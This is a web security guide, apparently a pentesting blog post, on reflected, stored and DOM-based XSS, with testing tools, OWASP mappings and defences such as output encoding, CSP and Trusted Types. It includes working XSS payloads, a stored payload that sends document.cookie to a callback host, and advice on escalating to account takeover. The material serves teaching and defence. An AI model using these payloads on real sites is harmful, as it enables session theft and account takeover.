
Here is the uncomfortable truth about XSS in 2026: the bug everyone calls "just an alert box" is the same bug that hijacks an admin session and rewrites a banking page. XSS means your script runs in someone else's browser, inside their origin and with their session, and that is the whole game. The popup is a proof of execution, not a proof of impact, and conflating the two is why so many XSS findings get under-rated.
This guide separates the three types by how the payload reaches the victim, shows the exact vectors and the tools that find each (Burp Suite, dalfox, XSStrike, dev-tools tracing), maps them to the OWASP Top 10 and WSTG, and lays out the encoding plus CSP and Trusted Types controls that genuinely hold. XSS lives under A03:2021 Injection and WSTG-INPV-01/02 and WSTG-CLNT-01.
XSS is a vulnerability that lets an attacker inject client-side script into content served to other users, so the browser executes attacker code as if the site wrote it. Because the script runs in the victim's origin, it can read cookies and DOM-stored tokens, make authenticated requests, log keystrokes, or fully rewrite the page for phishing.
The root cause never changes: untrusted input reaches an output context (HTML body, an attribute, a JavaScript string, a URL) without the right encoding for that context. The differences between XSS types come down to where the payload travels before it executes, which is why understanding the types changes how you test. XSS is a fixture of the OWASP Top 10 under A03 Injection.
There are three primary types of XSS, separated by how the payload reaches the victim: reflected, stored, and DOM-based. A fourth label, blind XSS, is just stored XSS that fires in a context you cannot see, like an admin log viewer.
location.hash flows into a sink like innerHTML without the server ever seeing the payload.The reflected case is server-side: you send a payload in the request and look for it unencoded in the HTML the server returns. The DOM case is client-side: the server response is identical for every user, and the bug only appears when JavaScript copies an attacker-controlled source into a dangerous sink. They need different hunting techniques, so testing them the same way is how DOM XSS gets missed.
# REFLECTED: payload travels in the request, echoed by the SERVER
GET /search?q=%22%3E%3Csvg%20onload%3Dalert(document.domain)%3E HTTP/1.1
HTTP/1.1 200 OK
<input value=""><svg onload=alert(document.domain)>"> <-- server echoed it raw
# DOM-BASED: server never sees the payload (it's after the #)
https://app.target.tld/profile#name=<img src=x onerror=alert(document.domain)>
// vulnerable client code, found by reading the JS, not the response:
const name = decodeURIComponent(location.hash.split('=')[1]);
document.getElementById('greeting').innerHTML = 'Hi ' + name; // <-- hash -> innerHTML sinkNote that the DOM payload sits after the #, so it is never sent to the server and never appears in any server log or WAF. You find it by tracing sources (location, document.referrer, postMessage) to sinks (innerHTML, eval, document.write) in dev tools. For the reflected side, dalfox url "https://target/search?q=FUZZ" automates context detection. Both belong in your web app test cases and fit the broader OWASP WSTG methodology.
A confirmed XSS shows your payload executing and exfiltrating something only running script could reach, not just reflected as inert text. A stored case in a comment field that renders unencoded is the cleanest proof of cross-user impact:
# Stored payload POSTed to /comments
<img src=x onerror="fetch('https://YOUR-ID.oastify.com/c?'+document.cookie)">
# Rendered back to EVERY viewer of the thread:
<div class="comment"><img src=x onerror="fetch('https://YOUR-ID.oastify.com/c?'+document.cookie)"></div>
# Your Collaborator log then shows, from a different IP:
GET /c?session=eyJhbGciOiJIUzI1NiIsInR5cCI6... <-- a real victim session, not yoursThe inbound request carrying a real session cookie from another IP is the proof of impact. If HttpOnly blocks cookie theft, escalate: read the page DOM, pull the anti-CSRF token, and chain a state-changing request (change-email, add-admin) as the victim. Demonstrating account takeover, not a popup, is what moves a stored XSS to High or Critical on CVSS. Stored and reflected map to WSTG tests WSTG-INPV-02 and WSTG-INPV-01.
Stored XSS is generally the most severe type because the payload is served to every user who views the affected content, with no need to trick anyone into clicking a crafted link. A single injected comment or profile field hits thousands of sessions automatically, and it frequently lands in privileged contexts, an admin dashboard rendering user-submitted data, where stealing a session means staff account takeover.
That changes both impact and exploitability in the CVSS vector. Reflected XSS requires social engineering to deliver the malicious URL and carries a user-interaction requirement that drags its score down. Stored XSS drops the attack-complexity and user-interaction values, so it routinely scores a full band higher. On a recent assessment of a SaaS helpdesk, a stored payload in a ticket subject fired the moment a support agent opened the queue, handing us an authenticated staff session before we had finished writing the request up.
Scanners over-report reflected XSS and under-report the DOM and stored variants that matter most. The classic false positive is a payload reflected into a context where it cannot execute, an HTML comment, a JSON response served as application/json, or a correctly quote-encoded attribute, which the tool flags because it saw the string echoed back. Always confirm execution in a real browser; a reflection is not an XSS.
The false negatives hurt more. DOM XSS lives entirely in client-side JavaScript, so a scanner watching HTTP responses never sees the location.hash to innerHTML sink. Blind stored XSS that fires in an admin log viewer needs an out-of-band callback to detect at all. And modern apps that build markup with template literals or document.write in a bundled script defeat naive payload matching. I keep dalfox and Burp Suite for fast fuzzing of reflected sinks, but the DOM findings come from manually tracing sources to sinks. Pairing the scan with manual review, the way continuous agentic pentesting does, is what keeps the dangerous variants from slipping.
Prevent XSS with context-aware output encoding as the primary control, then layer a strict CSP and safe DOM APIs on top. Encode every piece of untrusted data for the exact context it lands in: HTML-entity-encode for body text, attribute-encode inside attributes, JavaScript-encode inside script. React and Angular do most of this automatically as long as you avoid escape hatches like dangerouslySetInnerHTML.
For DOM XSS, prefer textContent over innerHTML and never feed untrusted input to eval or document.write. Then add a nonce-based CSP plus Trusted Types, which beats an allowlist because it cannot be bypassed by a JSONP endpoint or an open redirect on a trusted host:
Content-Security-Policy: script-src 'nonce-r4nd0m' 'strict-dynamic';
object-src 'none'; base-uri 'none'; require-trusted-types-for 'script'The require-trusted-types-for 'script' directive makes the browser refuse to assign a raw string to innerHTML at all, which kills most DOM sinks at the source. Encoding stops the bug; CSP and Trusted Types limit the blast radius if one slips through. Do not rely on a WAF blocking <script>; the bypass corpus (event handlers, SVG, encoded entities, mutation XSS) is effectively infinite.